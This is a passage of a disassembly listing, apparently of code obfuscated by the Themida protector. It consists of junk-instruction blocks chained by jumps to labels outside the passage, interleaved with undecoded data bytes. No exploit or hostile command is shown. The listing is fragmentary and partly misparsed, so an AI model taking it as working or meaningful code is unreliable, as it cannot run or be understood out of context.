		mov	ebx, 4
		jmp	loc_572461
; ---------------------------------------------------------------------------
		dw 0C9BFh
		dd 29219D79h, 0E908247Ch, 0FFFF41BDh, 13E4CF81h, 0EF810CD3h
		dd 9CDBBBEBh, 0EAE9FE01h, 5FFFFAAh, 24932526h, 0FFB001E9h
		dd 55854FFh, 4,	486068h, 24348900h, 0FFFEA0E9h,	0AE95FFFh
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_574597:				; CODE XREF: Themida_:0056AEC4j
		pop	ebp
		add	ebp, 4
		push	45BBh
		jmp	loc_56A51E
; ---------------------------------------------------------------------------
		dd 31240431h, 31C131C8h, 68D1F7C8h, 7091h, 89240C89h, 4C181E1h
		dd 0E9000000h, 0FFFFFD88h
; ---------------------------------------------------------------------------


loc_5745C8:				; CODE XREF: Themida_:0056A390j
		add	edx, 0FC86209Eh
		jmp	loc_56F2B8
; ---------------------------------------------------------------------------
		db 87h
		dd 7FE9240Ch, 89FFFFE6h, 8B54242Ch, 8952242Ch, 4C281E2h
		dd 81000000h, 4C2h, 24148700h, 7A05E95Ch, 0E959FFFFh, 224Bh
		dd 8304C483h, 436804C4h, 89000001h, 0EC81241Ch,	4, 0E9240489h
		dd 0FFFFEBE7h, 53D1F65Ah, 5DE95455h
		db 0E8h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_574627:				; CODE XREF: Themida_:00576846j
		pop	ecx
		or	edx, 3FB41D85h
		push	0
		sub	[esp], edx
		jmp	loc_57635F
; ---------------------------------------------------------------------------
		db 89h
		dd 77BD242Ch, 8139AA5Fh, 0D52454F5h, 0A92E932h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_57464E:				; CODE XREF: Themida_:00567747j
		pop	esp
		mov	[esp], edx
		mov	edx, 7E5D2E59h
		mov	edi, 4033586Fh
		xor	edi, edx
		mov	edx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 461C7F06h
		and	edi, edx
		jmp	loc_564CA7
; ---------------------------------------------------------------------------


loc_574674:				; CODE XREF: Themida_:0056A6DEj
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_562AE1
; ---------------------------------------------------------------------------
		dw 55Fh
		dd 7A18017Fh, 0FFDCABE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_574689:				; CODE XREF: Themida_:00568E0Bj
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		jmp	loc_56EABB
; ---------------------------------------------------------------------------


loc_57469E:				; CODE XREF: Themida_:005679F5j
		add	ebp, 4
		jmp	loc_561DAD
; ---------------------------------------------------------------------------
		dw 0D8F7h
		dd 0A33F5205h, 62B1357Dh, 51E93A2Ch
		db 8Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5746B7:				; CODE XREF: Themida_:00574144j
		pop	ecx
		sub	esi, 4F4F1128h
		jmp	loc_574830
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 24348B00h, 4C481h, 0C0830000h,	74FF5002h, 41E90424h
		dd 89FFFF03h, 321CE9E0h, 0E789FFFFh, 4C781h, 85E90000h
		db 0F5h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5746F3:				; CODE XREF: Themida_:00561F59j
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5612F6
; ---------------------------------------------------------------------------


loc_574701:				; CODE XREF: Themida_:005769C2j
		pop	ebx
		dec	ebx
		jmp	loc_573573
; ---------------------------------------------------------------------------
		dd 0EF97E950h, 0F781FFFFh, 7C674AEBh, 0FF92B2E9h, 89DA29FFh
		dd 0BDE95AD3h, 0BFFFFF56h, 646C6CAFh, 2414F757h, 4CEF815Fh
		dd 2D9B9393h, 2D27084Bh, 0FEC943E9h, 615DBEFFh,	0F589261Fh
		dd 93ED815Eh, 81640734h, 965CFDF5h, 8AECE938h, 0C383FFFFh
		dd 74FF5304h, 8F5B0424h, 8B5C2404h, 0EC812404h,	4, 54241C89h
		dd 4B9515Bh, 81000000h,	9F7824EBh, 0E9CB0106h, 1E49h, 303BC780h
		dd 0E3285BFCh, 8324048Bh, 0C32804C4h, 50B2C380h, 0E9E6B252h
		dd 0FFFF3F4Dh
; ---------------------------------------------------------------------------


loc_5747A0:				; CODE XREF: Themida_:00570D5Dj
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		jmp	loc_56F6C0
; ---------------------------------------------------------------------------
		db 81h
		dd 0D41CBBCBh, 0E7D7E979h, 0EA81FFFFh, 70D045FAh, 3B4AC281h
		dd 815B22F3h, 6F4B56EAh, 55EA015Dh, 6F4B56BDh, 5DEA015Dh
		dd 174BB850h, 0C20138B9h, 0FF6E8CE9h, 28E951FFh, 0F6FFFF55h
		dd 6E3C0D3h, 0E94FEB80h, 0FFFF722Fh, 706668h, 241C8900h
		dd 42474FFh, 83241C8Bh,	48F04C4h, 24248B24h, 0E99CC83Bh
		dd 0FFFEC826h
; ---------------------------------------------------------------------------


loc_57481C:				; CODE XREF: Themida_:005672D7j
		pop	ebp
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	6CAAh
		jmp	loc_570897
; ---------------------------------------------------------------------------


loc_574830:				; CODE XREF: Themida_:005746BEj
		sub	esi, edx
		add	esi, 4F4F1128h
		pop	edx
		jmp	loc_56B9D6
; ---------------------------------------------------------------------------


loc_57483E:				; CODE XREF: Themida_:00572B75j
		mov	[esp], esi
		mov	esi, esp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_5610FF
; ---------------------------------------------------------------------------
		db 81h
		dd 0EA3139F5h, 0A2C3811Dh, 29576410h, 0A2EB81EBh, 8B576410h
		dd 0AEE9242Ch
		db 29h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_574873:				; CODE XREF: Themida_:0057408Cj
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_56D8F6
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 50241C89h, 8841B652h, 31E95AF4h, 81FFFEF6h, 2C4h
		dd 0C7A4E900h, 0C801FFFEh, 2D683B05h, 2BB6E920h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5748AA:				; CODE XREF: Themida_:0056AE76j
		push	ebx
		push	esi
		mov	esi, 67D877B0h
		jmp	loc_562252
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 4D02790h, 29AAF381h,	0E1E91BF6h, 0F7FFFFD9h,	56E2D1DAh
		dd 5D196CBEh, 0E9F2310Eh, 0FFFF725Bh, 0EF81DFF7h, 3BC1A110h
		dd 2EEDC181h, 8AE963E2h, 81000012h, 4C5h, 242C3300h, 33242C31h
		dd 565C242Ch, 0AF0575BEh, 71EE817Dh, 17DAF05h, 81555EF7h
		dd 4ECh, 24348900h, 0FB36B7BEh,	0DB0BD28h, 0F5314B27h
		dd 0FEFDB3E9h, 0C48158FFh, 4, 15E9CA21h
		db 27h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_574933:				; CODE XREF: Themida_:00564502j
		xchg	esi, [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, esp
		push	esi
		jmp	loc_56D6FD
; ---------------------------------------------------------------------------
		dw 5053h
		dd 0B4E98FB4h, 0BFFFFF25h, 0BC7282Bh, 0B96C781h, 0EF8159D4h
		dd 6DC03EADh, 2009E781h, 56534B98h, 541910BEh, 9AE94628h
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57496F:				; CODE XREF: Themida_:0057425Cj
		xchg	eax, [esp]
		pop	esp
		xchg	edi, [esp]
		pop	esp
		push	eax
		mov	eax, 6DCB40C2h
		shl	eax, 4
		sub	esp, 4
		jmp	loc_564FB0
; ---------------------------------------------------------------------------
		db 50h
		dd 0FEEA8EE9h, 4EC83FFh, 0B7241C89h, 5BF920A9h,	80BBF180h
		dd 0C704E5F1h, 0BDE9A104h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5749AB:				; CODE XREF: Themida_:00571BCEj
		mov	[esp], eax
		jmp	loc_563EE8
; ---------------------------------------------------------------------------
		db 0BAh
		dd 689C10F6h, 15AD301h,	51EAE9F3h, 489FFFFh, 4EC8124h
		dd 89000000h, 48B240Ch,	4C48324h, 51240C8Bh, 0C181E189h
		dd 4, 4E981h, 1BE90000h, 89FFFF26h, 5FE92434h, 8300000Ch
		dd 0C8702C1h, 24248B24h, 0FFDA02E9h, 435D68FFh,	34890000h
		db 24h,	54h, 5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_564EB0
; ---------------------------------------------------------------------------


loc_574A13:				; CODE XREF: Themida_:00563F8Aj
		pop	edx
		push	edi
		mov	edi, 4BB811B8h
		or	edi, 9F5697Bh
		jmp	loc_5753E4
; ---------------------------------------------------------------------------
		db 31h,	0F7h, 5Eh
		dd 0E906EFC1h, 0FFFEE13Bh
; ---------------------------------------------------------------------------


loc_574A30:				; CODE XREF: Themida_:0056E044j
		push	edx
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_57504A
; ---------------------------------------------------------------------------


loc_574A3C:				; CODE XREF: Themida_:00575C7Ej
		pop	ecx
		sub	esp, 4
		jmp	loc_5653BE
; ---------------------------------------------------------------------------
		db 0F7h, 0D1h, 0F7h
		dd 980EE9D9h, 0C89FFFFh, 0E0BE5624h, 0E9688D63h, 0FFFECC54h
		dd 8B241CF7h, 8EE92414h, 0B5FFFFE7h, 0D156E9C5h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_574A6E:				; CODE XREF: Themida_:005700ADj
		mov	ebp, ecx
		pop	ecx
		not	ebp
		sub	ebp, 11CD4C4Ch
		push	753Ah
		mov	[esp], ecx
		push	932A978Eh
		pop	ecx
		xor	ebp, ecx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	eax
		jmp	loc_5753B1
; ---------------------------------------------------------------------------


loc_574AA4:				; CODE XREF: Themida_:00575D69j
		pop	ecx
		push	esi
		mov	esi, 4B2E534Ch
		add	esi, 184A3D46h
		push	ecx
		push	edi
		mov	edi, 7447BD6Fh
		jmp	loc_561A10
; ---------------------------------------------------------------------------
		db 5Fh,	0E9h, 98h
		dd 0FFFFFF2Fh, 0E9592434h, 0FFFF27D7h
; ---------------------------------------------------------------------------


loc_574ACC:				; CODE XREF: Themida_:005665A3j
		dec	ecx
		add	ecx, 79556B97h
		add	ecx, 53C67EF7h
		add	esi, ecx
		pop	ecx
		inc	esi
		xor	esi, 19EC6666h
		xor	esi, 9D3B6917h
		xor	eax, esi
		pop	esi
		jmp	loc_572883
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 0E90000h
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_574AFB:				; CODE XREF: Themida_:00573D64j
		pop	esp
		push	ebp
		push	ebx
		push	4A010B6Fh
		jmp	loc_56CF66
; ---------------------------------------------------------------------------


loc_574B08:				; CODE XREF: Themida_:0056F521j
		sub	edi, 613E29A4h
		sub	edi, 4EDC6431h
		push	edx
		jmp	loc_569E6F
; ---------------------------------------------------------------------------
		dw 0CF81h
		dd 5A127DA6h, 7F15C781h, 0FA896E81h, 607BE95Fh,	475FFFFFh
		dd 23B5EF81h, 0FB89CBD4h, 0E658E95Fh, 295CFFFFh, 0E904247Ch
		dd 0FFFFD61Fh, 0E9240C89h, 1233h
; ---------------------------------------------------------------------------


loc_574B50:				; CODE XREF: Themida_:005720AEj
		add	esi, 190DE946h
		push	esi
		xor	dword ptr [esp], 68451DDBh
		jmp	loc_56B3DE
; ---------------------------------------------------------------------------
		db 33h
		dd 248B2404h, 2274E924h, 3489FFFFh, 0E95E5424h,	0FFFFC982h
		dd 2756C681h, 0B9E95AB4h, 0ADFFFEEFh, 33204B2Dh, 68D8297Ah
		dd 1EDh, 0B9240C89h, 16540917h,	6E2CE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_574B9E:				; CODE XREF: Themida_:005639DBj
		pop	eax
		jmp	loc_567261
; ---------------------------------------------------------------------------
		dd 0E951D4F6h, 0FFFF492Bh
; ---------------------------------------------------------------------------


loc_574BAC:				; CODE XREF: Themida_:00566996j
		push	dword ptr [esp]
		pop	esi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_564E70
; ---------------------------------------------------------------------------
		dw 5854h
		dd 405h, 604AE900h, 0D2F7FFFFh,	0FF3CF0E9h, 0BF5756FFh
		dd 0DB44AE3h, 6571F781h, 0FBE972A6h, 54FFFF9Fh,	0FF79F8E9h
		dd 240CFFFFh, 55FE99Ch,	0F381FFFFh, 265A1134h, 4F30C381h
		dd 814B269Ah, 59D88AC3h, 5BDA291Fh, 36BEEA81h, 0C20117F4h
		dd 36BEC281h, 0C28117F4h, 5C673EF3h, 57D3BF57h,	0FA012D5Dh
		dd 67C2815Fh, 8B34B560h, 0C4832404h, 841DE904h,	0EC81FFFFh
		dd 4, 0FF5985E9h, 0C3F4E9FFh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_574C4E:				; CODE XREF: Themida_:00568D64j
		add	dword ptr [esp], 6BEA75D1h
		add	dword ptr [esp], 0DD76901h
		pop	eax
		or	eax, 3BEF145Ah
		add	eax, 0FFFFFFFFh
		not	eax
		add	eax, 8DCEA06h
		xor	esi, eax
		mov	eax, [esp]
		add	esp, 4
		sub	edx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		xor	edx, edi
		pop	edi


loc_574C86:				; CODE XREF: Themida_:00562AB2j
					; Themida_:00571020j
		push	dword ptr [edi+24h]
		push	6A18h
		mov	[esp], edi
		push	ebp
		jmp	loc_575D9E
; ---------------------------------------------------------------------------


loc_574C97:				; CODE XREF: Themida_:0056B3BCj
		sub	edx, 2
		jmp	loc_56A151
; ---------------------------------------------------------------------------


loc_574CA2:				; CODE XREF: Themida_:00573264j
		pop	ebx
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		jmp	loc_56BCE7
; ---------------------------------------------------------------------------


loc_574CB1:				; CODE XREF: Themida_:0056C9EFj
		pop	edi
		jmp	loc_56C784
; ---------------------------------------------------------------------------
		db 89h
		dd 4812424h, 424h, 0BA525B00h, 0D874365h, 6E83E281h, 0C2812B59h
		dd 760E35B9h, 6F55E281h, 0C3E93345h, 68FFFFD2h,	3796h
		dd 0FF243C89h, 5F042474h, 8B24048Fh, 8B662424h,	2D682404h
		dd 89000067h, 8B54242Ch, 8951242Ch, 0F8CBE9E1h,	8F5BFFFEh
		dd 248B2404h, 33B5E924h, 0D001FFFFh, 0BF57515Ah, 3B3C7175h
		dd 0FFAB2AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_574D25:				; CODE XREF: Themida_:0056F2D8j
		push	ebp
		sub	dword ptr [esp], 66CD6CCFh
		jmp	loc_5769D8
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 73CFE924h, 1C34FFFFh, 0C630A72Ch, 8BF02858h,	0C4812414h
		dd 4, 0FFFBF1E9h, 0C2ECE9FFh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_574D56:				; CODE XREF: Themida_:00571131j
		add	ebp, ecx
		sub	ebp, 67045F6Eh
		jmp	loc_56C6A1
; ---------------------------------------------------------------------------
		db 89h
		dd 6856242Ch, 627254C2h, 1C6815Eh, 89FACB9Dh, 24348BF5h
		dd 4C481h, 0E8010000h, 0FEF063E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_574D85:				; CODE XREF: Themida_:00564C8Bj
		mov	[esp], ecx
		push	ecx
		jmp	loc_56D22F
; ---------------------------------------------------------------------------
		dw 0E6C0h
		dd 2EC68005h, 82EEE80h,	0D7F65AF7h, 80BFCF80h, 0D8E908F7h
		dd 0B1FFFFEDh, 3E9C0DBh, 5004E1C0h, 0EC800CB4h,	0D9ADE90Bh
		dd 6866FFFEh, 89660094h, 47E92414h, 0FFFFFF6Ch,	5E042474h
		dd 5C24048Fh, 192268h, 24348900h, 5F2434FFh, 23AF68h, 241C8900h
		dd 0C389E954h, 0E901FFFFh, 543E981h, 15D36CDh, 505159C8h
		dd 0FF4442E9h, 0E95059FFh, 0FFFFF8DBh, 27856853h, 0E95B68E5h
		dd 0FFFFD73Bh
; ---------------------------------------------------------------------------


loc_574E10:				; CODE XREF: Themida_:00569ABAj
		add	ebx, 1A7A58B7h
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_571561
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0E9532424h, 0FFFF807Bh, 81240C8Bh, 4C4h, 0A5BA5200h
		dd 0C110842Ch, 0E2C104EAh, 0AB62E902h, 8158FFFFh, 0EB0843C5h
		dd 81CD012Eh, 0EB0843EDh, 0F581592Eh, 75682A42h, 0E95DEE01h
		dd 0FFFF8376h, 0E389535Eh, 0FF8215E9h, 0E9F289FFh, 107Fh
		dd 7B1DE953h, 0E868FFFFh, 8900001Bh, 0EC812424h, 4, 68240C89h
		dd 4, 592434FFh, 6804C483h, 482Fh, 53243C89h, 0FF19FEE9h
		dd 92C381FFh, 81210F20h, 7517FBEBh, 0C3835A62h,	74FF5302h
		dd 8F5B0424h, 248B2404h, 48B6624h, 0E2895224h, 1E11E955h
		dd 0C8BFFFFh, 0E094E924h, 5BFFFEh, 240C8BE8h, 0FEC8C0E9h
		dd 246C81FFh, 0CC0E2404h, 245C0137h, 24448104h,	0CC0E2404h
		dd 24448137h, 7B121704h, 0D14CE968h, 1E05FFFFh,	682D314Dh
		dd 729Ah, 68241489h, 6E01h, 68243489h, 2D0414DEh, 0FF1069E9h
		dd 0E9D2F7FFh, 0FFFFE210h, 148BF588h, 4C48324h,	51DD0458h
		dd 58E968B5h, 51FFFF67h, 0A75174B9h, 7E9C11Dh, 0FFC8D8E9h
		dd 685954FFh, 2763h, 55241489h,	4BDh, 5DEA8900h, 0E95AD101h
		dd 0FFFF6B02h, 5EC680h,	428BE9F3h, 0EA29FFFFh, 0E9D1315Dh
		dd 0FFFFDFC3h, 0C381CB29h, 4AA60B90h, 845E9h, 6ABB5300h
		dd 0F740BF0Bh, 8E3C1D3h, 0FF47E8E9h, 2E1DBFFFh,	0F8294230h
		dd 2C8F2D5Fh, 0A60563B6h, 0E94E2121h, 0FFFEEC83h
; ---------------------------------------------------------------------------


loc_574FAC:				; CODE XREF: Themida_:00570B5Ej
		pop	eax
		and	eax, esi
		pop	esi
		or	eax, eax
		jz	loc_56288F
		push	edx
		push	esp
		jmp	loc_56A60D
; ---------------------------------------------------------------------------
		db 88h
		dd 0FD2C5BD9h, 0F6E9C828h
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_574FCB:				; CODE XREF: Themida_:00562996j
		mov	[esp], ebp
		push	edi
		mov	edi, 0FFFFFFFFh
		mov	ebp, edi
		mov	edi, [esp]
		push	7707h
		mov	[esp], edx
		jmp	loc_566E98
; ---------------------------------------------------------------------------
		dw 0D800h
		dd 0E9575352h, 0FFFEDD47h, 29B368h, 242C8900h, 0FF9A22E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_574FFD:				; CODE XREF: Themida_:005667F1j
		pop	ecx
		sub	ebx, edx
		jmp	loc_56E3E6
; ---------------------------------------------------------------------------


loc_575005:				; CODE XREF: Themida_:00567AD5j
		pop	esp
		jmp	loc_573801
; ---------------------------------------------------------------------------
		db 51h
		dd 0C181E189h, 4, 8704C183h, 895C240Ch,	2434FFD8h, 4C4835Bh
		dd 34FFC501h, 0C4835824h, 74FF5504h, 2C8B0424h,	4C48324h
		dd 8B24048Fh, 8B662424h, 8952240Ch, 54A5E9E2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57504A:				; CODE XREF: Themida_:00574A37j
		add	dword ptr [esp], 4
		jmp	loc_56ED30
; ---------------------------------------------------------------------------


loc_575053:				; CODE XREF: Themida_:0056F6B3j
		mov	ebx, 4
		sub	edx, 7FE77FC4h
		add	edx, 3AD360C9h
		add	edx, ebx
		jmp	loc_565851
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240489h, 0FFFEBFCEh, 175068h, 240C8900h, 0EC30BBB5h
		dd 0E9DCF659h, 0CADh, 0E9241487h, 0FFFFBDECh
; ---------------------------------------------------------------------------


loc_575090:				; CODE XREF: Themida_:00561392j
		xor	edi, 731432DBh
		or	edi, 4B5B52DBh
		xor	edi, 7B7F76FBh
		add	ebp, edi
		jmp	loc_56A09F
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 80344AB8h, 58C3295Dh, 0E9243C8Bh, 0FFFF79AAh, 815E5456h
		dd 4C6h, 4EC8300h, 0E9241489h, 0FFFF19AAh
; ---------------------------------------------------------------------------


loc_5750D0:				; CODE XREF: Themida_:00563EF5j
		xor	edi, ebx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_57011F
; ---------------------------------------------------------------------------
		dd 0BB53D5F7h, 5D772A59h, 7E26ED81h, 0DD017095h, 7E26C581h
		dd 815B7095h, 0F7AF31EDh, 4EC8351h, 55241C89h, 944C3F68h
		dd 0BA525D62h, 0EC360D1h, 94E9D509h, 0AD000001h, 8F06772Dh
		dd 26FC056Ah, 0D0E97EBFh
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_575127:				; CODE XREF: Themida_:00571C10j
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_5643FA
; ---------------------------------------------------------------------------
		db 1
		dd 2434FFF0h, 0E924348Bh, 0FFFF3DDDh
; ---------------------------------------------------------------------------


loc_575144:				; CODE XREF: Themida_:0056B63Ej
		sub	dword ptr [esp], 202F57E2h
		pop	esi
		add	esi, 202F57E2h
		mov	eax, esi
		pop	esi
		push	dword ptr [esp]
		jmp	loc_56A750
; ---------------------------------------------------------------------------
		db 57h,	50h, 68h
		dd 0C956547h, 0D6F79658h, 8FBD5596h, 0C14B953Dh, 0ED8106EDh
		dd 38297A5Ah, 0FECA02E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_57517D:				; CODE XREF: Themida_:00568A66j
		sub	edx, 63511436h
		mov	ebp, [esp]
		jmp	loc_562A25
; ---------------------------------------------------------------------------
		db 0D1h
		dd 0F7C781EFh, 31363B99h, 0CB895FF9h, 83240C8Bh, 0E38104C4h
		dd 31C8324Fh, 46EB81h, 0ED813000h, 1FB34C23h, 335BED81h
		dd 0DD015E6Fh, 335BB850h, 0C5015E6Fh, 0E924048Bh, 0FFFF35B4h
; ---------------------------------------------------------------------------


loc_5751C8:				; CODE XREF: Themida_:005676BEj
		mov	ebx, 2DB6DC3h
		add	edx, 14354505h
		add	edx, ebx
		sub	edx, 14354505h
		jmp	loc_575FDB
; ---------------------------------------------------------------------------
		dd 0BB45059h, 6658E328h, 52E2B652h, 0C3802CB2h,	80D328BBh
		dd 148BBBEBh, 4C48324h,	0FF069AE9h, 557FBDFFh, 0FAE942F1h
		dd 5CFFFF49h, 1AA86851h, 14890000h, 0E0895024h,	405h, 4E88300h
		dd 0FF08ACE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_575225:				; CODE XREF: Themida_:00563F07j
		pop	ebp
		mov	esi, edx
		mov	edx, [esp]
		jmp	loc_574238
; ---------------------------------------------------------------------------
		dd 24148B5Fh, 4C481h, 0DAE90000h, 0E9FFFEF9h, 0FFFEBDFEh
; ---------------------------------------------------------------------------


loc_575244:				; CODE XREF: Themida_:00565F4Aj
		xor	bh, 0A4h
		sub	bh, 70h
		sub	bh, 7Eh
		sub	al, bh
		jmp	loc_56A1C7
; ---------------------------------------------------------------------------
		dd 0E95AD689h, 0FFFEEC13h
; ---------------------------------------------------------------------------


loc_57525C:				; CODE XREF: Themida_:00571780j
		push	42AF58EDh
		mov	ecx, [esp]
		add	esp, 4
		sub	edi, ecx
		pop	ecx
		jmp	loc_5622EF
; ---------------------------------------------------------------------------
		db 29h
		dd 424A2DF0h, 39E926C6h, 56FFFFF0h, 7B61BFBEh, 27CE813Fh
		dd 461AE506h, 0DEF7EED1h, 0E904E6C1h, 0FFFF1C8Fh, 8704C083h
		dd 665C2404h, 5124148Bh, 4EC81h, 0AE90000h, 5AFFFF35h
		dd 122CE581h, 1C681431h, 8900007Dh, 0E1B9240Ch,	0E9CB57E8h
		dd 0FFFFCE72h, 0C5C4E953h, 0F8B8FFFFh, 407E327Eh, 4B0DD8F7h
		dd 2D48C733h, 7AF46A7Dh, 0F1BD9135h, 0AFBEE94Eh, 0C15EFFFFh
		dd 0E3E904EAh, 8BFFFFF8h, 0F662424h, 9C2404B3h,	0FEBD45E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5752FD:				; CODE XREF: Themida_:0056FCF7j
		not	esi
		xchg	esi, edx
		xor	ebx, edx
		jmp	loc_561FB3
; ---------------------------------------------------------------------------
		dd 2474FF56h, 37CCE904h, 805AFFFFh, 9BE957C3h, 8BFFFF07h
		dd 0C4812404h, 4, 147CE9h, 24143300h, 2924248Bh, 2434FFE8h
		dd 0FF2434FFh, 835D2434h, 0C48304C4h, 4C48104h,	56000000h
		dd 3F4C68h, 242C8900h, 0FF0FFDE9h, 0BCE8E9FFh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_57535A:				; CODE XREF: Themida_:0056BECFj
		mov	eax, [esp]
		add	esp, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	edx
		jmp	loc_56C8C5
; ---------------------------------------------------------------------------
		dw 0B753h
		dd 5BFE8881h, 0FE88C680h, 0EF1FE9C6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57538E:				; CODE XREF: Themida_:0056DE8Cj
		dec	ecx
		and	ecx, 5F252AE3h
		xor	ecx, 1D651511h
		jmp	loc_57269C
; ---------------------------------------------------------------------------
		dd 31242C33h, 2C33242Ch, 24248B24h, 0FFA7E7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5753B1:				; CODE XREF: Themida_:00574A9Fj
		push	ebp
		mov	ebp, 70EC5ABDh
		not	ebp
		xor	ebp, 8055F896h
		mov	eax, ebp
		pop	ebp
		jmp	loc_561AC6
; ---------------------------------------------------------------------------
		db 89h
		dd 5051242Ch, 1C1E9h
		db 0
; ---------------------------------------------------------------------------


loc_5753D1:				; CODE XREF: Themida_:005617B7j
		add	ecx, ebp
		pop	ebp
		xor	ecx, 9DDE57C4h
		add	edx, ecx
		mov	ecx, [esp]
		jmp	loc_56B3C1
; ---------------------------------------------------------------------------


loc_5753E4:				; CODE XREF: Themida_:00574A20j
		add	edi, 1FFC1A07h
		push	ecx
		mov	ecx, 3DAC0BEDh
		sub	edi, 5FA72A87h
		sub	edi, ecx
		add	edi, 5FA72A87h
		pop	ecx
		xor	esi, edi
		pop	edi
		push	esi
		add	dword ptr [esp], 56921174h
		pop	edi
		sub	edi, 56921174h
		mov	esi, [esp]
		push	1442h
		mov	[esp], eax
		mov	eax, esp
		push	edi
		mov	edi, 67894C42h
		neg	edi
		jmp	loc_56473F
; ---------------------------------------------------------------------------


loc_57542B:				; CODE XREF: Themida_:00566978j
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_57395F
; ---------------------------------------------------------------------------
		db 88h,	22h, 8Bh
		dd 0C4812414h, 4, 2434FF58h, 0FF3179E9h, 241487FFh, 240C895Ch
		dd 0FFF7F0E9h, 146858FFh, 8900003Ah, 58542404h,	384E68h
		dd 24148900h, 0FF2073E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_575471:				; CODE XREF: Themida_:005707EBj
		mov	bh, 0C1h
		sub	ah, bh
		pop	bx
		sub	ah, 0F4h
		jmp	loc_5656A5
; ---------------------------------------------------------------------------


loc_57547F:				; CODE XREF: Themida_:00564A89j
		push	edx
		mov	dh, 0A0h
		mov	cl, 0A1h
		sub	cl, dh
		pop	edx
		jmp	loc_5617F5
; ---------------------------------------------------------------------------


loc_57548C:				; CODE XREF: Themida_:0056F198j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_56BCE0
; ---------------------------------------------------------------------------


loc_57549A:				; CODE XREF: Themida_:005764C6j
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		xor	ebp, [esp]
		jmp	loc_56B74D
; ---------------------------------------------------------------------------
		db 5Bh
		dd 8124148Bh, 4C4h, 242C8700h, 0E924248Bh, 0FFFEBB82h
		dd 0E92434FFh, 0FFFF4755h, 0E904C483h, 0FFFFF286h, 24045A66h
		dd 0FEDE83E9h, 0C5815DFFh, 4, 8704C583h, 0E95C242Ch, 0FFFF629Bh
		dd 0BC07E959h, 2C31FFFEh, 242C3324h, 642E9h, 0CBE94E00h
		db 0E6h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_575503:				; CODE XREF: Themida_:00564364j
		mov	ebx, [esp]
		add	esp, 4
		push	3439h
		mov	[esp], ecx
		push	eax
		mov	ah, 84h
		shr	ah, 1
		shr	ah, 5
		push	dx
		mov	dh, 0FFh
		sub	ah, dh
		mov	dx, [esp]
		add	esp, 2
		push	ebx
		jmp	loc_564C42
; ---------------------------------------------------------------------------


loc_57552C:				; CODE XREF: Themida_:0056C068j
		mov	esi, [esp]
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_561042
; ---------------------------------------------------------------------------
		dd 0E94D5A58h, 0FFFFBAA2h, 895DE801h, 64BD58C2h, 81FA8896h
		dd 71200EEDh, 68D5015Bh, 21CDh,	0FF99FAE9h, 14875BFFh
		dd 0D0315C24h, 0E924148Bh, 0FFFF05C4h
